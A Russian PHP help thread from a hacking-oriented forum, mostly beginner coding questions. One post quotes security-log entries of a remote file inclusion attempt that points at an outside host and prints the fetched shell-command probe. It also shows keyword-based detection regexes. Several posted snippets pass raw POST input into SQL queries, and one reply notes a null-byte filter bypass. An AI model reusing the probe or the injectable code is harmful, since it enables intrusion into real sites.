20.02.2009, 03:25
подскажите тупому что нужно сделать чтоб брут на php работал ???

Pashkela
20.02.2009, 04:14
как сдесь сделать что бы текст добавлялся таким видом
1) текст
2) текст2
3) текст3
??'

сам понял, чо спросил? Где в твоём примере

1) текст
2) текст2
3) текст3

????


<?php

$text1 = "1) текст";
$text2 = "2) текст2";
$text3 = "3) текст3";

$fp = fopen("counter.txt", "a"); // Открываем файл в режиме ДОБАВЛЕНИЯ записи в конец файла
if ($fp) { //Проверяем, что файл открылся на ДОБАВЛЕНИЕ ЗАПИСЕЙ
fwrite($fp, $text1 . "\r\n"); // Запись в файл
fwrite($fp, $text2 . "\r\n"); // Запись в файл
fwrite($fp, $text3 . "\r\n"); // Запись в файл
}
fclose($fp); //Закрытие файла

?>

Frize
20.02.2009, 15:21
да тупанул)


$fp = fopen("counter.txt", "a"); // Открываем файл в режиме записи
$test = fwrite($fp, $_POST. "\r\n"); // Запись в файл
if ($test) echo 'Данные в файл успешно занесены.' ;
else echo ('Ошибка при записи в файл.';
fclose($fp); //Закрытие файла
возможно тут сделать? что бы он автоматически добавлял, не вписывая. например че нить такого 1=>100
1) текст
2) текст2
3) текст3

Shadow_p1raT
20.02.2009, 16:01
function test($_POST){
{
$fp = fopen("counter.txt", "a"); // Открываем файл в режиме записи
foreach($_POST as $key=>$value) {
fwrite($fp,$value."\r\n");
}
fclose($fp);
}

Frize,это?

spamoney
20.02.2009, 16:17
Всем, добрый день! Такой вопрос:
В логах безопасности сайта (в раделе динамических ошибок), нередко появляются следующие записи:

WARNING: urldecode() expects parameter 1 to be string, array given Line: 178 in file /home/httpd/vhosts/МОЙСАЙТ.ru/httpdocs/security.php
Ссылка: //?_SERVER[DOCUMENT_ROOT]=http://www.igrawm.net.ru/404.txt?

WARNING: preg_match() expects parameter 2 to be string, array given Line: 178 in file /home/httpd/vhosts/МОЙСАЙТ.ru/httpdocs/security.php
Ссылка: //?_SERVER[DOCUMENT_ROOT]=http://www.igrawm.net.ru/404.txt?
Дата размещения: 20.02.09 - 03:51:50

WARNING: base64_decode() expects parameter 1 to be string, array given Line: 183 in file /home/httpd/vhosts/МОЙСАЙТ.ru/httpdocs/security.php
Ссылка: //?_SERVER[DOCUMENT_ROOT]=http://www.igrawm.net.ru/404.txt?
Дата размещения: 20.02.09 - 03:51:50

Перейдя по адресу: http://www.igrawm.net.ru/404.txt?

Видим следующий код:


<?php
echo "Mic22";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
exit;


Как я понимаю сайт пытаются взломать/проверить на какую-то уязвимость, насколько это опасно и можно ли с этим как-то бороться?


P.S
Вот код файла security.php с 177 по 188 строки:


foreach ($_GET as $var_name=>$var_value) {
if (preg_match("/<.*?(script|body|object|iframe|applet|meta|style|fo rm|img|onmouseover).*?>/i", urldecode($var_value)) || preg_match("/\([^>]*\"?[^)]*\)/", $var_value) || preg_match("/\"|\'/", $var_value)) warn_report("HTML in GET - ".$var_name." = ". $var_value."");
if ($security_url_get == 1) {
if (preg_match("/^(http\:\/\/|ftp\:\/\/|\/\/|https:\/\/|php:\/\/|\/\/)/i", $var_value)) warn_report("URL in GET - ".$var_name." = ". $var_value);
}
$security_string = "/UNION|OUTFILE|SELECT|ALTER|INSERT|DROP|".$prefix."_admins|".$prefix."_users|ModAdmin|SaveAdmin|EditAdmin|DelAdmin/i";
$security_decode = base64_decode($var_value);
if (preg_match($security_string, $security_decode)) hack_report("Hack base64 in GET - ".$var_name." = ". $var_value."");
if (preg_match($security_string, $var_value)) hack_report("Hack in GET - ".$var_name." = ". $var_value."");
$security_slash = preg_replace("/\/\*.*?\*\//", "", $var_value);
if (preg_match($security_string, $security_slash)) hack_report("Hack in GET - ".$var_name." = ". $var_value."");
}

Frize
20.02.2009, 16:19
Shadow_p1raT, да походу это, ток чет не робит кажись)))

Ion
20.02.2009, 16:26
Добрый день. В общем требуется создать такой скрипит, который бы записывал в переменную первые 10 строк файла text.txt, затем заменял бы все слова «ready» на «all. ready» и записывал бы эту переменную в файл text2.txt, при этом удаляя из файла text2.txt всё, что там было.
Пробовал делать так, невышло:

<?php
$i = 0;
$h = fopen("text.txt","r");
while ($i <= 9) {
$content .= fgets($h);
$content .= "\r\n";

$i++;
}
fclose($h);

$content=ereg_replace('ready','all. ready',$text); // 5

$w=fopen("text2.txt","r");

fwrite($w,$content);

fclose($w);
?>


PS: извиняюсь, если глупость, я начал учить php позавчера.

Shadow_p1raT
20.02.2009, 16:31
spamoney,проверяй входные данные.Какой тип они имеют
Добавь строчку

is_string($var_name) or die('Переменная '. $var_value. ' не имеет строковой тип!'); //Тут уже смотри на свой вкус,ставить die() или ещё что нибудь

после этой

foreach ($_GET as $var_name=>$var_value) {

Shadow_p1raT
20.02.2009, 16:42
Ion,так?

<?php
$fp = fopen('text.txt','r');
for($i=0;$i<=9;$i++) {
$content .= fgets($fp);
}
fclose($fp);

$content = str_replace('ready','all. ready',$content);

$fp2 = fopen('text2.txt','w');
fwrite($fp2,$content);
fclose($fp2);
?>

Ion
20.02.2009, 16:52
Да, так. Спасибо большое. :) Всё работает нормально, но при выполнении скрипта вылезает это:
Notice: Undefined variable: content in T:\home\localhost\1234.php on line 4
Что ему в 4-й строке не нравится?

Gifts
20.02.2009, 16:53
spamoney По хорошему - надо добавить рекурсивную проверку, если в качестве параметра передают массив, ограничив глубину рекурсии скажем 2-3 уровнями (чтобы не заддосили). Если же уверены, что ваша КМС не принимает массивы в качестве параметра, то сделать, как предложил Shadow_p1raT только вместо die вызывать функцию warn_report

Ion В начале скрипта добавь $content='';

m0Hze
20.02.2009, 17:31
Хм,как осуществить.
Есть страница,большая.Грузим ее филе_гет_конт. и ищем на ней совпадение регуляркой.
Вопрос.Кабы мне сделать:
а)Грузить и искать одновременно,тоесть как только нашел - загрузка прервалась.
б)Выгоднее.ВЫкачивать только часть страницы,например только 100 кб.
Какс?

kraken
20.02.2009, 17:46
m0Hze а что тебе мешает скачать полностью и потом парсить регуляркой?

Shadow_p1raT
20.02.2009, 17:49
m0Hze,можно так

<?php
$fp = fopen('http://localhost/test/test.txt', 'rt');
$text = 'antichat';
while(!feof($fp))
{
if(preg_match('#'.preg_quote($text).'#i', fread($fp, 100)))
{
echo 'найдено';
break;
}
}
fclose($fp);
?>

только вроде требует в php.ini

allow url fopen on

m0Hze
20.02.2009, 18:00
Не то.У вас я сначала закачиваю страницу,а уже потом кусками смторю.
А необходимо,выкачать из интернета например первые 100кил,страницы и по ним вести поиск.
Чтото пока думаю,но в моску опятьже только циклы

m0Hze
20.02.2009, 18:13
Все-все,с енотом не спорю,ушел читать :)(Вспомнил про енота-полоскуна :D )
Осталась последняя загвоздка,fopen(); не зайти по кукам :(
Вот сцука.

aciiD
20.02.2009, 18:18
подскажите мне пожалуйста

Winst0n
20.02.2009, 20:38
<form method="post" name="form">
<p>Название:<br><input name="a" type="text" size="20"></p>
<p>Описание:<br><input name="b" type="text" size="30"></p>
<p>Ссылка:<br><input name="s" type="text" size="20"></p>
<p>Дата:<br><input name="d" type="text" size="20"></p>
<input name="submit" type="submit" value="Добавить">
</form>

<?

include('../setting/bd.php');
if(isset($_POST['a'])){$a = $_POST['a'];}
if(isset($_POST['b'])){$b = $_POST['b'];}
if(isset($_POST['s'])){$s = $_POST['s'];}
if(isset($_POST['d'])){$d = $_POST['d'];}


$result = mysql_query("INSERT INTO includes (a,b,s,d) VALUES('$a','$b','$s','$d')");
if($result == 'true')
{
echo "Добавлено";
}

?>


как сделать чтоб в бд записывало только после нажатия "Добавить" !?

Chaak
20.02.2009, 20:40
<form method="post" name="form">
<p>Название:<br><input name="a" type="text" size="20"></p>
<p>Описание:<br><input name="b" type="text" size="30"></p>
<p>Ссылка:<br><input name="s" type="text" size="20"></p>
<p>Дата:<br><input name="d" type="text" size="20"></p>
<input name="submit" type="submit" value="Добавить">
</form>

<?php
if(!empty($_POST['submit'])){

include('../setting/bd.php');
if(isset($_POST['a'])){$a = $_POST['a'];}
if(isset($_POST['b'])){$b = $_POST['b'];}
if(isset($_POST['s'])){$s = $_POST['s'];}
if(isset($_POST['d'])){$d = $_POST['d'];}


$result = mysql_query("INSERT INTO includes (a,b,s,d) VALUES('$a','$b','$s','$d')");
if($result == 'true')
{
echo "Добавлено";
}
}
?>

Pashkela
20.02.2009, 20:40
if(isset($_POST['submit'])) {

...А тут всё остальное

}

Winst0n
20.02.2009, 21:01
спс =)

Byrger
20.02.2009, 21:38
как с помощью пхп можно возвести число в степень Х ? Существует ли такая функция?

Chaak
20.02.2009, 21:56
как с помощью пхп можно возвести число в степень Х ? Существует ли такая функция?
<?php

function vStepen($n,$pokazatel)
{
if($pokazatel == 0)
return 1;
if($pokazatel == 1)
return $n;


$buf = $n;

for($i = 1; $i < $pokazatel; $i++)
{
$n *= $buf;
}


return $n;
}

echo vStepen(3,2);

?>

Frize
20.02.2009, 22:06
как этот код в функцию запихнуть?

$text=file_get_contents("baza.txt");
$word="слово";
preg_match_all("/.*?$word.*?\\./im",$text,$p);
foreach($p[0] as $v) echo "<li>$v";

пробовал так
function search($_POST){
$text=file_get_contents("baza.txt");
$test = fread($text, $_POST);
preg_match_all("/.*?$_POST.*?\\./im",$text,$p);
foreach($p[0] as $v) echo "<li>$v";

Frize
20.02.2009, 23:00
.:EnoT:., не работает, ошибка где то

m0Hze
21.02.2009, 01:36
Я думаю все знают PHProxy, это анонимайзир такой.
Так воть,нужна схема как в нем:
Даем скрипту ссылку на файл,именно файл,причем mp3 (only), и он выкачивает его,одновременно с этим оддавая его пользователю.
Тут я так понимаю нужно юзать сокеты,а затем отдавать заголовки с ответами сокета на скачивание?
В общем както так.

Zedi
21.02.2009, 02:22
Наверно надо будет в какой то временный файл вставлять или вообще в файл и отдавать его юзеру, ведь пользователь может и с модема сидеть, ну и ресурсы)

Frize
21.02.2009, 02:29
еще вопросик:D
<?php
function someFunc($word){

$a = '';
$text = file_get_contents("baza.txt");
preg_match_all('/.*?'.$word.'.*?\\./im', $text, $p);
foreach($p[0] as $v) $a .= '<li>'.$v;
return $a;
}
?>
нужен preg_match_all для русского текста

Winst0n
21.02.2009, 13:37
Спорим что при таком условии, слово "Добавлено" никогда не выведется?


выводит :D
http://s50.radikal.ru/i129/0902/3a/0abaeaf85308t.jpg (http://radikal.ru/F/s50.radikal.ru/i129/0902/3a/0abaeaf85308.jpg.html)


А sql запросы просто мего. Ни один какер не подберётся :D

жжжесть))я позавчера "начал" пхп "изучать" :D

Ershik
21.02.2009, 14:01
Вот эта херня работает, но не могу подключить html код, то есть чтобы теги <b></b> и <a href =></a> работали в теле письма:(
Например, test, test , test
Необходимо echo подключить?


<?php

$Name = "лашара"; //senders name
$email = "ypachka@ypachka.ru"; //senders e-mail adress
$recipient = "ypachka@ypachka.ru"; //recipient
$mail_body = "test test..."; //mail body
$subject = "test "; //subject
$header = "From: ". $Name . " <" . $email . ">\r\n"; //optional headerfields

mail($recipient, $subject, $mail_body, $header); //mail command :)
?>

m0Hze
21.02.2009, 14:21
Вот эта херня работает, но не могу подключить html код, то есть чтобы теги <b></b> и <a href =></a> работали в теле письма:(
Например, test, test , test
Необходимо echo подключить?


<?php

$Name = "лашара"; //senders name
$email = "ypachka@ypachka.ru"; //senders e-mail adress
$recipient = "ypachka@ypachka.ru"; //recipient
$mail_body = "test test..."; //mail body
$subject = "test "; //subject
$header = "From: ". $Name . " <" . $email . ">\r\n"; //optional headerfields

mail($recipient, $subject, $mail_body, $header); //mail command :)
?>
Добвь хидер.

$headers .= "Content-Type: text/html;";

heretic1990
21.02.2009, 14:32
есть у кого скрипт теста скорости интернета?

Winst0n
21.02.2009, 20:55
$result = mysql_query("SELECT * FROM таблица",$db);
$myrow = mysql_fetch_array($result);
do
{
echo "<span class='links'>"."<a href='$myrow['link']'>Скачать</a>"."</span>";
}
как сделать чтоб он из бд вытаскивал и в <a href=' засовывал ?)

так
echo "<span class='links'>".$myrow['link']."</span>";
выводит, ну тупо текстом...

так

echo "<span class='links'>"."<a href='$myrow['link']'>Скачать</a>"."</span>";

выдает ошибку...

m0Hze
21.02.2009, 20:59
echo '<span class="links">"."<a href='.$myrow['link'].'>Скачать</a>"."</span>';

OnArs
21.02.2009, 21:33
Здравствуйте, не знал где спросить, но так как это относится и к php - спрашиваю здесь, со всеобщего позволения естественно :)

Такая проблема - закидываю на хостинг файл aaa.php
С кодом:
Строка 1

<? echo 'Строка2';?>

Запускаю файл, но вижу только первую строку Строка1, а Строка2 которую должен был выдать php скрипт не получаю и в коде эта php вставка как будто закомментированная.

Вот здесь можно посмотреть исходный код:
http://arsenka.com/cat/profile.php

Заранее благодарен! :)

[JavaScript]
21.02.2009, 21:46
Надо не
<td align="center"><input type="text" name="name" value="<? echo $my['name']; ?>" size="52"></td>
a
<td align="center"><input type="text" name="name" value="$my['name']" size="52"></td>

OnArs
21.02.2009, 21:53
Это здесь ни причём, В самом начале код почему комментируется?

OnArs
21.02.2009, 21:58
Вот пример более простой:
http://lettinger.co.uk/aaa.php

OnArs
21.02.2009, 22:08
Похоже на short_open_tag=off замени начало кода с <? на <?php если я правильно понял суть проблеммы
Неа, это тоже не помогло:
http://letsfinder.co.uk/index.php :(

В чём может быть причина? Ещё, буквально на прошлой недели всё было нормально :mad:

[JavaScript]
21.02.2009, 22:42
OnArs, попробуйте в .htaccess добавить
AddType application/x-httpd-php .php

OnArs
21.02.2009, 23:01
']OnArs, попробуйте в .htaccess добавить
AddType application/x-httpd-php .php

Хм, странно, раньше работало и без этого... Большое Спасибо! :)

[JavaScript]
21.02.2009, 23:28
Хм, странно, раньше работало и без этого... Большое Спасибо!
Не знаю какие изменения случились у вас на хостинге, но файлы .php стали неисполняемые, т.е. не исполняли php-код. Для примера можете добавить туда же:
AddType application/x-httpd-php .gifПотом в файл file.gif написать:<?
echo "Работает";
?>Когда зайдете на file.gif, увидите слово Работает.

-m0rgan-
21.02.2009, 23:53
Ре, адепты!
Подскажите как сделать, чтоб при не правильном указание параметра id редирикьило на какую то страницу?
код:
<?
error_reporting(0);
include"config.php";
$id=$_GET['id'];
if($id) {
echo $news;
$query = "SELECT * FROM news where `id`='".mysql_escape_string($id)."'";$result = mysql_query($query);
while ($row = mysql_fetch_array($result)) :
цикл...
endwhile;
}
?>

зарание спасибо!

[dei]
22.02.2009, 00:11
Ре, адепты!
Подскажите как сделать, чтоб при не правильном указание параметра id редирикьило на какую то страницу?
код:
<?
error_reporting(0);
include"config.php";
$id=$_GET['id'];
if($id) {
echo $news;
$query = "SELECT * FROM news where `id`='".mysql_escape_string($id)."'";$result = mysql_query($query);
while ($row = mysql_fetch_array($result)) :
цикл...
endwhile;
}
?>

зарание спасибо!

после mysql_query

if(!mysql_num_rows($result)) header('Location: xz.php');

-m0rgan-
22.02.2009, 00:37
']после mysql_query

if(!mysql_num_rows($result)) header('Location: xz.php');

Втисал:
<?
error_reporting(0);
include"config.php";
$id=$_GET['id'];
if($id) {
echo $news;
$query = "SELECT * FROM news where `id`='".mysql_escape_string($id)."'";$result = mysql_query($query); if(!mysql_num_rows($result)) header('Location: index.php');
while ($row = mysql_fetch_array($result)) :
цикл...
endwhile;
}
?>

только оно чет не перекидует=(
ввожу : http://localhost/news.php?id=23'
и бестолку :(

Zedi
22.02.2009, 01:43
-m0rgan-, держи <?
error_reporting(0);
include"config.php";
$id=$_GET['id'];
if (!ereg('^[0-9a-z]+$', $id))
{
die('<meta http-equiv="Refresh" content="0; URL=https://forum.antichat.ru/" />');
}
if($id) {
echo $news;
$query = "SELECT * FROM news where `id`='".mysql_escape_string($id)."'";$result = mysql_query($query);
while ($row = mysql_fetch_array($result)) :
цикл...
endwhile;
}
?>

Shadow_p1raT
22.02.2009, 06:32
Мда....
-m0rgan-,вы уверенны что вариант предложенный [dei] не работает?
Лично у меня всё работатет,но я бы сделал несколько поправочек

В начале скрипта лучше проверять,какой тип имеет переменная

$id = is_numeric($_GET['id']) ? $_GET['id'] : 1;//если переменная не имеет числовой тип,то присвайваем ей по умолчанию значение 1


$query = "SELECT * FROM `news` WHERE `id`='".mysql_escape_string($id)."'";
$result = mysql_query($query);
if(!mysql_num_rows($result)) {
header('Location: index.php');#или так http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF'])."/index.php"
exit;// Не забываем,что если не поставим exit то скрипт будет дальше продолжать работу
} else {
while ($row = mysql_fetch_array($result)) :
цикл


Zedi,О_о,мега защита.....
ereg легко обходится нулл байтом(%00),тоесть я вставлю в запрос %00,ereg принит его за конец строки и прекратит обработку
Читаем
_ttps://forum.antichat.ru/showthread.php?t=56756

P.S если всё таки не работает header то так

$redir = "http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF'])."/index.php";
echo '<meta http-equiv="Refresh" content="0; URL='.$redir.'" />';
exit;//забыл,спасибо b3 ;-)

b3
22.02.2009, 10:57
Shadow_p1raT
И обязательно после редиректа exit; ато редирект легко обойти. Подробности там>> http://forum.antichat.ru/thread106766.html

Jazz
22.02.2009, 12:08
подскажите плиз нормальный php скрипт добавление коментариев...со смайлами и т.д.
зарание спасибо)))

[JavaScript]
22.02.2009, 12:57
http://i-vd.org.ru/scripts/?i=idsubmint&category=cat2&ch=cat2

-m0rgan-
22.02.2009, 13:02
Мда....
-m0rgan-,вы уверенны что вариант предложенный [dei] не работает?
Лично у меня всё работатет,но я бы сделал несколько поправочек

В начале скрипта лучше проверять,какой тип имеет переменная

$id = is_numeric($_GET['id']) ? $_GET['id'] : 1;//если переменная не имеет числовой тип,то присвайваем ей по умолчанию значение 1


$query = "SELECT * FROM `news` WHERE `id`='".mysql_escape_string($id)."'";
$result = mysql_query($query);
if(!mysql_num_rows($result)) {
header('Location: index.php');#или так http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF'])."/index.php"
exit;// Не забываем,что если не поставим exit то скрипт будет дальше продолжать работу
} else {
while ($row = mysql_fetch_array($result)) :
цикл


Zedi,О_о,мега защита.....
ereg легко обходится нулл байтом(%00),тоесть я вставлю в запрос %00,ereg принит его за конец строки и прекратит обработку
Читаем
_ttps://forum.antichat.ru/showthread.php?t=56756

P.S если всё таки не работает header то так

$redir = "http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF'])."/index.php";
echo '<meta http-equiv="Refresh" content="0; URL='.$redir.'" />';
exit;//забыл,спасибо b3 ;-)


О, пасибо!
заработало с

$redir = "http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF'])."/index.php";
echo '<meta http-equiv="Refresh" content="0; URL='.$redir.'" />';
exit;//забыл,спасибо b3 ;-)

-m0rgan-
22.02.2009, 14:15
Вот еще появился вопрос по этому скрипту:
Редириктить то оно редириктит, но не при всех не правильных значениях...
Мне нужно, чтобы параперт id принимал только числовые значения, при подстановке каких либо символов он редиректил...
в даный момент редириктин при таком запросе:

http://localhost/news.php?id=-25

а при http://localhost/news.php?id=25'
страница остается в прежнем состояие...
можно ли сделать так, чтобы при определенных значениях id редиректило?

Кубик Рубик
22.02.2009, 14:44
Привет, я создаю двуязычную версию сайта, русский и английский. Мне нужно чтобы каждый из них индексировался поисковиками как отдельный сайт. Поэтому я все же решил использовать поддомены. Так вопрос как мне это сделать(?lang=ru перенести на ru.site.com)?

SVAROG
22.02.2009, 14:49
у меня в этом деле опыта небыло, но идея такая появилась
допустим такой участок кода <title>".$title."</title>
и есть два файла, в одном русский язык в другом анг
например в eng.php будет:
$title="My Site";
а в rus.php
$title="Мой сайт";
и потом в зависимости от того на каком языке должен быть сайт инклудишь тот или иной файл
Думаю идея понятна

-m0rgan-
22.02.2009, 14:50
и есче подскажите плиз скрипт, который записывает ип в логи!

rushter
22.02.2009, 14:56
и есче подскажите плиз скрипт, который записывает ип в логи!

$fp = fopen('for_logs.txt', 'a+');
fputs($fp, $_SERVER['HTTP_USER_AGENT']." ".$_SERVER['REMOTE_ADDR']." ".date('d.m.Y')."\r\n");
fclose($fp);
скопировал из своего скрипта,если надо только Ip ,то оставишь только $_SERVER['REMOTE_ADDR']

Winst0n
22.02.2009, 15:55
разобрался :)

Zedi
22.02.2009, 16:18
если просто последовательно соединить то вот <?php
include('../bd.php');
if (isset($_POST['id'])) {$id = $_POST['id'];}
if (isset($id))
{
$result = mysql_query ("DELETE FROM a WHERE id='$id'");
if ($result == 'true') {echo "<p>del</p>";}
else {echo "<p>del</p>";}
}
else
{
?>
<form action="del.php" method="post">
<?
$result = mysql_query("SELECT title,id FROM a");
$myrow = mysql_fetch_array($result);
do
{
printf ("<p><input name='id' type='radio' value='%s'><label> %s</label></p>",$myrow["id"],$myrow["title"]);
}
while ($myrow = mysql_fetch_array($result));
?>
<input name="submit" type="submit" value="удалить">
</form>
<?php
}
?> если не так то объясни как тебе надо

D Mak
22.02.2009, 16:18
<?
include('../bd.php');
if(!empty($_POST)) {
if (isset($_POST['id'])) {$id = $_POST['id'];}
if (isset($id))
{
$result = mysql_query ("DELETE FROM a WHERE id='$id'");
if ($result == 'true') {echo "<p>del</p>";}
else {echo "<p>del</p>";}
}
else
{
echo "<p>no =\</p>";
}
} else : ?>
<form action="del.php" method="post">
<?
$result = mysql_query("SELECT title,id FROM a");
$myrow = mysql_fetch_array($result);
do
{
printf ("<p><input name='id' type='radio' value='%s'><label> %s</label></p>",$myrow["id"],$myrow["title"]);
}
while ($myrow = mysql_fetch_array($result));
?>
<input name="submit" type="submit" value="удалить">
</form>
<? endif; ?>

Winst0n
22.02.2009, 16:32
разобрался :)

-m0rgan-
22.02.2009, 16:54
$fp = fopen('for_logs.txt', 'a+');
fputs($fp, $_SERVER['HTTP_USER_AGENT']." ".$_SERVER['REMOTE_ADDR']." ".date('d.m.Y')."\r\n");
fclose($fp);
скопировал из своего скрипта,если надо только Ip ,то оставишь только $_SERVER['REMOTE_ADDR']
Спасибо!
А как сделать, чтоб записался запрос сделаний до редирикта на страницу в которой это записуется?
идея такова:
при попытке провеления атаки будет редериктить на страницу с сообщением, на которой будут записыватся даные атакующего...
зарание спасибо!